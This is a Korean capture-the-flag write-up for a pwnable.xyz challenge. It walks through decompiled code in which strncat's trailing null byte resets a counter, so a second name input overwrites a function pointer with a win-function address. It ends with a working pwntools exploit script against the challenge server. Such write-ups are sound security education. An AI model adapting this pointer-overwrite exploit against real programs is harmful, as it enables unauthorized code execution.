1. 문제
1) mitigation 확인
PIE가 안걸려있다. 하지만 FUll RELRO이다
2) 문제 확인
슈퍼 히어로를 생성하면 스킬을 선택할수 있다. 그리고 2번 메뉴로 슈퍼파워를 사용하면 개소리가 출력된다. 3번 메뉴로 생성했던 슈퍼히어로를 삭제할 수 있다.
3) 코드 확인
•
create_hero() 함수
unsigned __int64 createHero()
{
char *hero_name; // rax
int v1; // eax
int size; // [rsp+4h] [rbp-7Ch]
char buf; // [rsp+10h] [rbp-70h]
int v5; // [rsp+70h] [rbp-10h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&buf, 0, 0x60uLL);
v5 = 0;
if ( count )
{
puts("Br0, you already have a hero...");
return __readfsqword(0x28u) ^ v6;
}
++count;
puts("How long do you want your superhero's name to be? ");
size = getInt();
if ( size < 0 || size > 0x64 )
{
puts("Bad size!");
return __readfsqword(0x28u) ^ v6;
}
printf("Great! Please enter your hero's name: ");
read(0, &buf, size);
hero_name = strchr(hero_name_bss, 0);
strncat(hero_name, &buf, 0x64uLL);
printSuperPowers();
v1 = getInt();
if ( v1 == 2 )
{
power = (__int64 (*)(void))crossfit;
strcpy((char *)&myHero, "crossfit");
goto LABEL_19;
}
if ( v1 <= 2 )
{
if ( v1 != 1 )
goto LABEL_17;
power = (__int64 (*)(void))hadouken;
strcpy((char *)&myHero, "hadouken");
LABEL_19:
puts("Superhero successfully created!");
return __readfsqword(0x28u) ^ v6;
}
if ( v1 == 3 )
{
power = (__int64 (*)(void))wrestle;
strcpy((char *)&myHero, "wrestling");
goto LABEL_19;
}
if ( v1 == 4 )
{
power = (__int64 (*)(void))floss;
strcpy((char *)&myHero, "flossing");
goto LABEL_19;
}
LABEL_17:
puts("not a valid power!");
if ( count )
zeroHero();
return __readfsqword(0x28u) ^ v6;
}
C
복사
해당 함수를 한번 호출하게 되면 count가 증가한다. count에 값이 들어있으면 해당 함수는 바로 종료가 된다. 따라서 create_hero() 함수는 딱 한번 호출 가능하다. 그리고 히어로 이름 사이즈를 입력하게 되고, 최대 0x64 사이 이름의 입력이 가능하다.
그다음 스킬을 선택하게 되는데, myHero라는 함수포인터에 각 입력한 인덱스에 맞는 함수포인터가 저장된다. 이 값은 메인 메뉴에서 2번 선택시 호출된다.
strchr() 함수로 bss영역에 존재하는 hero_name_bss 변수에서 널값을 찾는다. 초기에는 해당 영역이 0으로 초기화 되어있으므로 hero_name_bss 변수 주소 그대로 리턴하게 되고, 이 영역에 strncat 함수로 입력한 값을 이어붙인다.
2. 접근방법
현재 우리가 입력할수 있는 공간은, hero_name_bss 영역이다.
•
myHero : power 함수포인터가 들어감
•
count : create_hero 함수 호출시 1이 됨
•
hero_name_bss : 여기에 입력한 이름이 들어감
•
power : 스킬 함수포인터가 들어감
결국 우리가 입력하는 read함수부터 분석을 해야한다. 최대 100바이트 입력을 하게 되면 strncat으로 hero_name_bss에 꽉차게 입력값이 들어가는데, strncat 함수 특성상 마지막에 널값이 붙는다. 따라서 count가 0이 되고, create_hero함수를 여러번 호출가능하다. 그렇다면 두번째 crete_hero 함수를 호출하면, count+1 영역부터 입력값이 strncat으로 붙여진다.
결국 7바이트 더미 + win함수 주소를 넣으면, power에 win함수 주소가 들어가고, 3번 메뉴를 이용하여 myhero 함수포인터에 담긴 win함수가 호출된다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
p=remote("svc.pwnable.xyz",30032)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xCB8+$code\n')
p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*100)
p.sendlineafter("> ","5")
p.sendlineafter("> ","1")
p.sendlineafter("\n","100")
p.sendafter("name: ","A"*7+p64(0x400A33))
p.sendlineafter("> ","5")
p.sendlineafter("> ","2")
p.interactive()
Python
복사
4. 몰랐던 개념
•
none